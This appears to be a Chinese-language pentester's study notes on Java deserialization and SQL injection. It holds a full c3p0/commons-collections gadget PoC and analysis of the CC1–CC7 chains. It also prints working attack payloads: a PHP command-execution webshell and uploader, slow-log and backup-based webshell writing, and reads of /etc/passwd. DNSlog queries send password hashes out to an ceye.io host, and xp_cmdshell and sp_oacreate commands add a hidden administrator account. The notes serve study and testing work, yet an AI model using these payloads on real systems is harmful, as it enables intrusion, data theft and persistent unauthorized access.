            StringBuffer sb = new StringBuffer(length);
    
            for(int i = 0; i < length; ++i) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    
    }
    

    image-20220418195455014
    顺着 poc 看一下漏洞触发点:com.mchange.v2.c3p0.JndiRefForwardingDataSource,传入的参数是 jndiName,首先调用 setJndiName 方法改变 jndiName 的值
    image-20220418200541519
    然后传入一个 LoginTimeout 属性,同样跟进对应的 setLoginTimeout 方法,
    image-20220418201943177
    跟进 JndiRefForwardingDataSource#inner ,在其中调用了 dereference 方法
    image-20220418202337419
    最后是在 dereference 中调用 lookup,参数是前面修改的 jndiName
    image-20220418202418154
  • HEX序列化字节加载器


    同样用于 fastjson 和 jackson 的环境,可以实现不出网回显。
    poc:(其中 go 方法生成了一个 cc2 的 payload)
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Locale;
    import java.util.PriorityQueue;
    
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    public class c3p {
    
        public static void main(String[] args) throws Exception {
            PriorityQueue a = go();
            ObjectOutputStream ser0 = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser0.writeObject(a);
            ser0.close();
    
            InputStream in = new FileInputStream("a.bin");
            byte[] data = toByteArray(in);
            in.close();
            String HexString = bytesToHexString(data, data.length);
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}";
    
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static PriorityQueue go() throws Exception {
    
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc.exe"})});
            TransformingComparator comparator = new TransformingComparator(chain);
            PriorityQueue queue = new PriorityQueue(1);
            queue.add(1);
            queue.add(2);
    
            Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
            field.setAccessible(true);
            field.set(queue, comparator);
    
            return queue;
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuilder sb = new StringBuilder(length);
    
            for (int i = 0; i < length; i++) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
    
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    }
    

    image-20220418213827079
    首先传入 userOverridesAsString,跟进对应的 setUserOverridesAsString 方法:
    image-20220418214505795
    然后进入 WrapperConnectionPoolDataSource 的 setUpPropertyListeners 方法,在其中调用 parseUserOverridesAsString 方法解析对应的 value,也就是 payload 中的 HexAsciiSerializedMap 部分,
    image-20220418214954196
    接着提取内容,并进行格式转换,
    image-20220418215215826
    跟进 fromByteArray,最后在调用的 deserializeFromByteArray 方法中触发了反序列化。
    image-20220418215257487
    image-20220418215451147
  • 参考文献


图来自 https://www.anquanke.com/member.html?memberId=149714 师傅的文章,跟着重新复习了几条常见 CC 链,同时捋了一下 java 反序列化 gadget 链的挖掘思路。

  • 挖掘思路


    一般从可执行命令的地方开始(任意代码执行/动态加载字节类),一步一步往上找,直到进到一个能反序列化类的 readObject 方法。
  • CC1


    t012f7027c5f2e5990b
    执行命令的部分来自 ChainedTransformer 的执行链,其中 InvokerTransformer 可以执行任意类的任意方法,然后利用 ChainedTransformer 把 InvokerTransformer 串起了,达到任意命令执行的效果。
    下一步就是找一个 可控类.transform()(触发命令执行),这里用的是 LazyMap.decorate 方法,第二个参数接受一个 Transformer(ChainedTransformer的父类),在 LazyMap 的 get 方法中触发了命令的执行:
    public Object get(Object key) {
            if (!super.map.containsKey(key)) {
                Object value = this.factory.transform(key);
                super.map.put(key, value);
                return value;
            } else {
                return super.map.get(key);
            }
        }
    

    接着就是找 可控类.get ,在 AnnotationInvocationHandler invoke方法中找到了可以用的方法
     Object var6 = this.memberValues.get(var4);
    

    关于 invoke 方法的调用,就可以用 AnnotationInvocationHandler 的代理来触发,代理成功之后在调用原来类方法的时候,首先会调用 InvocationHandler实现类(也就是 AnnotationInvocationHandler)的 invoke 方法。所以最后只要把 memberValues 设置为代理类,在 AnnotationInvocationHandler.readObject 中调用了 entrySet 方法时就会触发 invoke 方法。
  • CC2


    cc2 依赖的时 commons-collections4.0,和 CC1 几乎是完全不同的思路。
    t019438ead74d456810
    CC2 中触发了命令利用了 TemplatesImpl 动态加载字节码
    image-20220223103137275
    其中要将字节码以二维数组的形式存储在 _bytecodes 中,字节码的生成可以直接读一个 class 文件或者用 Javassist 修改,注意要继承抽象类 AbstractTranslet
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    

    调用 Templateslmpl 也可以用 InvokerTransformer 来完成,那么下一步还是要找 可控类.transform(),CC2 中用的是 TransformingComparator.compare 方法,
        public int compare(I obj1, I obj2) {
            O value1 = this.transformer.transform(obj1);
            O value2 = this.transformer.transform(obj2);
            return this.decorated.compare(value1, value2);
        }
    

    接着在 PriorityQueue 中找到了 siftDownUsingComparator 方法可以调用 compare 方法,参数存放在 queue 中(这一部分其实是一个二叉堆的实现),在 siftDown 中找到了调用,
        private void siftDown(int k, E x) {
            if (comparator != null)
                siftDownUsingComparator(k, x);
            else
                siftDownComparable(k, x);
        }
    

    下一步可以在 heapify 中找到 siftDown 的调用,在 readObject 中调用 heapify,链子这就串起来了。
  • CC3


    如果前两条链都用 Find Usage 方式找调用的方法,就会发现还有很多可以用的方式。
    t01181aaf1ddb8ae282
    CC3 和 CC2 主要的区别是调用加载字节码的方式不同,InvokerTransformer 类调用任意对象的任意方法(调用的templates中的newTransformer方法)在 commons-collections:4.4 中被修补,CC3 利用了 TraXFilter,同样是调用 templates中的newTransformer方法实现字节码的加载。
        public TrAXFilter(Templates templates)  throws
            TransformerConfigurationException
        {
            _templates = templates;
            _transformer = (TransformerImpl) templates.newTransformer();
            _transformerHandler = new TransformerHandlerImpl(_transformer);
            _overrideDefaultParser = _transformer.overrideDefaultParser();
        }
    

    如何触发 TrAXFilter 的构造方法有两种思路,第一种是利用 CC1 中 ChainedTransformer 执行链可以执行任意类的任意方法这一特点,直接调用 TrAXFilter 中的 templates 中的 newTransformer,剩下的部分就和 CC1 一样了(相当于修改了 CC1 命令执行的方式)。
    第二种方式引入了新的 InstantiateTransformer 类,用其中的 transform 方法,
    image-20220223112713411
    transform 方法调用时会反射执行其传递的参数 class 类的有参构造函数,就可以触发TrAXFilter 的构造方法。至于如何调用 InstantiateTransformer 的 transform 方法也是通过 CC1 的前半段完成的。
  • CC4


    cc2 的前半段 + cc3 的后半段
    t01e85b30f42ab156c7
  • CC5


    执行命令部分用的 CC1 后半段,在触发方式上做了修改
    t0131f14bdb6104db76
    在 LazyMap 中的 getValue 会调用 get 方法,在 TiedMapEntry 的 toString 中发现了 getValue
    public String toString() {
            return this.getKey() + "=" + this.getValue();
        }
    

    然后就是要找一个 可控类.toString 方法,CC5 用的是 BadAttributeValueExpException 的 readObject,刚好也可以触发反序列化。
    image-20220223121510425
    其中的 valObj 也是可以通过反射被我们控制的。
  • CC6


    和 CC5 的后半段一样,不过是用 TiedMapEntry 中的 hashCode 调用的Lazymap 的 getValue 方法
    t0117e939ee71ef5422
        public int hashCode() {
            Object value = this.getValue();
            return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
        }
    

    这里是通过 HashMap 中的 hash 调用的 key.hashCode,在 put 中调用 hash
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    

        public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true);
        }
    

    然后就是要找 可控类.put 方法,正好在 HashSet 的 readObject 中就可以直接调用。
            for (int i=0; i<size; i++) {
                @SuppressWarnings("unchecked")
                    E e = (E) s.readObject();
                map.put(e, PRESENT);
            }
    

    其中的 s 就是传入的字节流。
  • CC7


    后半段还是 CC1 不变,又换了中方式调用 LazyMap.get
    t010cf1e49b1a3d5af4
    在 AbstractMap 中 equals 方法中可以找到可控的 get 方法,
    image-20220223124353975
    再找一个调用 equals 方法的位置,用了 Hashtable 中的 reconstitutionPut 方法,而 reconstitutionPut 就在 Hashtable 的 readObject 中调用,也就完成了反序列的链接。
  • 参考文献


 

  • MySQL 注入写 shell


    • sqlmap --os-shell原理

      两部分构成,先写一个文件上传的接口
      <?php
      if (isset($_REQUEST["upload"]))
          {$dir=$_REQUEST["uploadDir"];
          if (phpversion()<'4.1.0')
              {
              $file=$HTTP_POST_FILES["file"]["name"];
              @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          else
              {
                  $file=$_FILES["file"]["name"];
                  @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          @chmod($dir."/".$file,0755);
          echo "File uploaded";}
      else {
          echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy\\PHPTutorial\\WWW\\> <input type=submit name=upload value=upload></form>";
          }
      ?>
      

      然后尝试一下是否能访问,找到后就可以传马
      <?php 
      $c=$_REQUEST["cmd"];
      @set_time_limit(0);
      @ignore_user_abort(1);
      @ini_set("max_execution_time",0);
      $z=@ini_get("disable_functions");
      if(!empty($z)){
          $z=preg_replace("/[, ]+/",',',$z);
          $z=explode(',',$z);$z=array_map("trim",$z);
      }else{$z=array();}
      $c=$c." 2>&1\n";
      function f($n){
          global $z;
          return is_callable($n)and!in_array($n,$z);
      }
      if(f("system")){
          ob_start();system($c);
          $w=ob_get_clean();
      }
      elseif(f("proc_open")){
          $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
          $w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);
      }
          @proc_close($y);}
      elseif(f("shell_exec")){
          $w=shell_exec($c);
      }
      elseif(f("passthru")){
          ob_start();
          passthru($c);
          $w=ob_get_clean();
      }
      elseif(f("popen")){
          $x=popen($c,r);
          $w=NULL;
          if(is_resource($x)){
              while(!feof($x)){
                  $w.=fread($x,512);
                  }
          }
          @pclose($x);
      }
      elseif(f("exec")){
          $w=array();
          exec($c,$w);
          $w=join(chr(10),$w).chr(10);
      }else{$w=0;}
      echo"<pre>$w</pre>";?>
      
    • sql 注入写 shell

      前提条件:
      1.知道绝对路径(猜+爆破)
      2.远程目录有写权限
      3.数据库开启secure_file_priv
      4.mysql连接用户有FILE权限/ROOT用户/ROOT权限
      

      其中
      在 MySQL 5.5 之前 secure_file_priv 默认为空
      在 MySQL 5.5 之后 secure_file_priv 默认为NULL
      

      secure_file_priv效果
      NULL不允许导入导出
      可以读写,但是不能动态更改
      指定文件夹MySQL的导入导出只能发生在指定文件夹

      默认情况下写不进去。。。
    • 慢日志写shell

      查询时间超过慢日志要求查询时间的查询都会存入慢日志,如果把日志的查询路径改成木马文件,就可以使用恶意查询语句。
      规避了 secure_file_priv 的限制,但要去 mysql 连接用户有权限开启日志记录和更换日志路径
      # 1.查看当前慢查询日志目录
      show variables like "%slow%";
      # 2.开启慢查询日志的功能
      set global slow_query_log=on
      # 3.重新设置日志路径,注意设置为网站的绝对路径
      set global slow_query_log_file="指定的路径"   # 将日志路径设置为网站路径WWW下
      # 4.设置慢查询时间(构造查询大于慢日志纪录的时间)
      set global slow_launch_time=X   # X>original_slow_launch_time   # 有时候网络延迟,也会大于原来设置的时间,会记录不必要的信息,而设置大于原来时间或者及以上则可以排出这种干扰
      # 5.执行SQL语句,写webshell进日志文件
      select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);  
      
    • 堆叠注入写 shell

      通常 sql 注入有诸多限制,比如只能查不能增删改,不能更改数据库设置,而堆叠注入相当于获取了数据库密码进行直连,直接操作数据库
      MySQL中如果用的是mysqli pdo处理的话,有的可以堆叠,mssql+aspx是原生堆叠,Oracle要看代码层面是怎么写。
       MysqliPDOMySQL
      引入的PHP版本5.05.03.0之前
      PHP5.x是否包含
      服务端prepare语句的支持情况
      客户端prepare语句的支持情况
      存储过程支持情况
      多语句执行支持情况大多数
  • MySQL 注入读文件


    也是基于有路径的前提下,
    load_file() :读取指定文件(受 secure_file_priv 限制)
    load data infile 和 load data local infile,不受 secure-file-priv 的限制,但是需要堆叠。
    

    两者的不同:
    如果你没有给出local,则服务器按如下方法对其进行定位:
    1)如果你的filename为绝对路径,则服务器从根目录开始查找该文件.
    2)如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件.
    
    如果你给出了local,则文件将按以下方式进行定位:
    1)如果你的filename为绝对路径,则客户机从根目录开始查找该文件.
    2)如果你的filename为相对路径,则客户机从当前目录开始查找该文件.
    

    其中,load data local infile 的权限要看连接 mysql 服务器的客户端,任意读取客户端文件的原理就是执行了:
    load data local infile "/etc/passwd" into table test
    

    如果客户端是通过的mysql 客户端 对应的权限就是 mysq l的 如果是 php 的扩展可能就是 apache 的。
  • order by 注入


    首先要说一下这个技术存在的意义,目前主流防 sql 注入都是用参数化的方法(预编译),但是 order by 后面不能参数化,也很容易存在注入点(比如排序功能的位置)。本质原因是一方面预编译又只有自动加引号的 setString() 方法,没有不加引号的方法;而另一方面 order by后接的字段名不能有引号。那么进一步扩展一下:不只 order by,凡是字符串但又不能加引号的位置都不能参数化;包括sql关键字、库名表名字段名函数名。
    注入方式:
    报错注入:
    /?order=IF(1=2,1,(select+1+from+information_schema.tables))
    /?order=(select+1+regexp+if(1=2,1,0x00)
    /?order=updatexml(1,if(1=2,1,user()),1)
    /?order=extractvalue(1,if(1=2,1,user()))
    盲注:
    /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
    查询:
    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00))
    
  • 配合 Dnslog


    在无法直接利用漏洞获得回显的情况下,通过发起 DNS 请求外带数据。提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生 DNS 查询,我们只要能获得 DNS 的日志,就得到了想要的值
    mysql:
    http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) 
    FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
    

    load_file 在 linux 下无法用 dnslog 攻击,因为 linux 中没有 UNC 路径 (\\)
    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
    

    mssql:
    http://127.0.0.1/mssql.php?id=1;
    DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
    FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
    EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
    

    postgresql:
    http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
    CREATE TABLE table_output(content text);
    CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
    DECLARE query_result TEXT;
    BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
       EXECUTE exec_cmd;
    END;
    $$ LANGUAGE plpgSQL SECURITY DEFINER;
    SELECT temp_function();
    

    或者用 db_link 扩展(但默认不开启)
    http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink; 
    SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb', 
    'SELECT version()') RETURNS (result TEXT);
    

    oracle:
    利用方式很多了:
    UTL_HTTP.REQUEST:
    select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
    DBMS_LDAP.INIT:
    select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
    HTTPURITYPE:
    select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
    
  • MSSQL 注入


    • 判断是否是 MSSQL

      报错:
      asp?id=49 and user>0
      系统表回显:(IIS 报错关闭)
      asp?id=49 and (select count() from sysobjects)>0
      asp?id=49 and (select count() from msysobjects)>0
      (如果第一条返回页面与原页面相同,第二条与原页面不同,几乎可以确定是MSSQL,否则便是Access)
      
    • 权限判断

      and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
      and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
      and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
      ;declae @d int //判断MsSQL支持多行语句查询
      and user>0 //获取当前数据库用户名
      and db_name()>0 //获取当前数据库名称
      and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
      and 1=(select @@servername) //本地服务名
      and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
      
    • 查询语句

      查库
      and 1=(select top 1 name from master..sysdatabases where dbid>4) //(>4 获取系统库 <4 获取用户库)
      and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘1’) //查询下一个数据库
      查表
      ?id=1 and 1=(select top 1 name from sysobjects where xtype=’U’ and name <> ‘threads’ and name <> ‘users’ )
      列名
      ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = ‘users’) and name <> ‘uname’ )
      拿数据
      ?id=1 and 1=(select top 1 uname from users)
      
    • 绕过
      引入一个 declare 函数,可以声明局部变量。declare 定义变量,set 设置变量值,exec 执行变量
      select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
      

      其中变量值可以进行 hex 或 ascii 编码,可以用这个特性绕过引号过滤
      select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
      
      select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
      
  • MSSQL 注入拿 shell


    ( xp_cmdshell 在 SQLServer 2005 后默认设置为关闭,但对于 SA 权限的用户来说都可以恢复)
    存在堆叠注入的条件下用 xp_cmdshell 写 shell
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    

    然后直接可以执行命令
    EXEC master..xp_cmdshell’免杀powershell命令’
    

    如果 xp_cmdshell 被禁用的代替方法:
    恢复 sp_oacreate,并执行命令:
    EXEC sp_configure 'show advanced options', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'Ole Automation Procedures', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'show advanced options', 0;
    

    执行系统命令,没有回显,比如可以添加一个影子用户并加入管理员组
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
    

    调用 cmd 执行命令
    wscript.shell 执行命令
    
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'
    
    
    Shell.Application 执行命令
    
    declare @o int
    exec sp_oacreate 'Shell.Application', @o out
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
    

    删除或恢复 sp_addextendedproc
    / 删除 /
    drop procedure sp_addextendproc
    drop procedure sp_oacreate
    exec sp_addextendedproc
    / 恢复 /
    dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
    dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
    

    恢复 sp_oacreate 和 xp_cmdshell
    exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’
    

    如果这两个函数都不能执行(存在杀软),可以尝试备份写 shell,但再设置目录权限后可能就不行了。在拿shell之前首先要找一波路径,大致思路:
    1.报错寻找
    2.字典
    3.旁站信息收集
    4.调用储存过程来搜索
    5.读配置文件
    

    其中,可以用 xp_cmdshellxp_dirtreexp_dirtreexp_subdirs 等函数找网站根目录(调用储存过程来搜索)
    execute master..xp_dirtree 'c:'       //列出所有 c:\ 文件和目录,子目录 
    execute master..xp_dirtree 'c:',1     //只列 c:\ 文件夹 
    execute master..xp_dirtree 'c:',1,1   //列 c:\ 文件夹加文件 
    

    如果没有回显的话可以插入一个临时的表:
    id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
    id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
    

    log备份写 shell

    • 前提条件:
      1.数据库存在注入
      2.用户具有读写权限,一般至少DBO权限
      3.有网站的具体路径
      4.站库不分离
      
    • 操作步骤:
      1.修改数据库为还原模式(恢复模式):
      ;alter database 库名 set RECOVERY FULL –-
      2.建表和字段
      ;create table moonflower(a image)--
      3.备份数据库
      ;backup log 数据库名 to disk = ‘c:\www\moonflower.bak’ with init –
      4.往表中写入一句话
      ;insert into orange(a) values (0x...)--    //值要进行hex进制转换下
      5.利用log备份到web的物理路径
      ;backup log 数据库名 to disk = 'c:\www\moonflower.php' with init--
      6.删除表
      ;Drop table moonflower--
      

    差异备份写shell
    第二次备份的时候会和上次备份的做对比,把不同的内容备份,所以只要插入一句话木马再备份,木马就会被写到数据库中。
    • 前提条件:
      1.有网站具体路径
      2.有可写权限(dbo权限以上)
      3.站库不分离
      
    • 步骤:
      1.备份数据库
      ;backup database 数据库名 to disk = 'C:\www\\...' with init --
      2.创建表格
      %';create table moonflower(a image) --
      3.写入webshell
      %';insert into orange(a) values (0xxxxx) --
      4.进行差异备份
      %';backup log 数据库名 to disk = 'C:\www\moonflower.asp'  WITH DIFFERENTIAL,FORMAT;--
      5.删除表
      ;Drop table moonflower--
      

     
  • 参考文献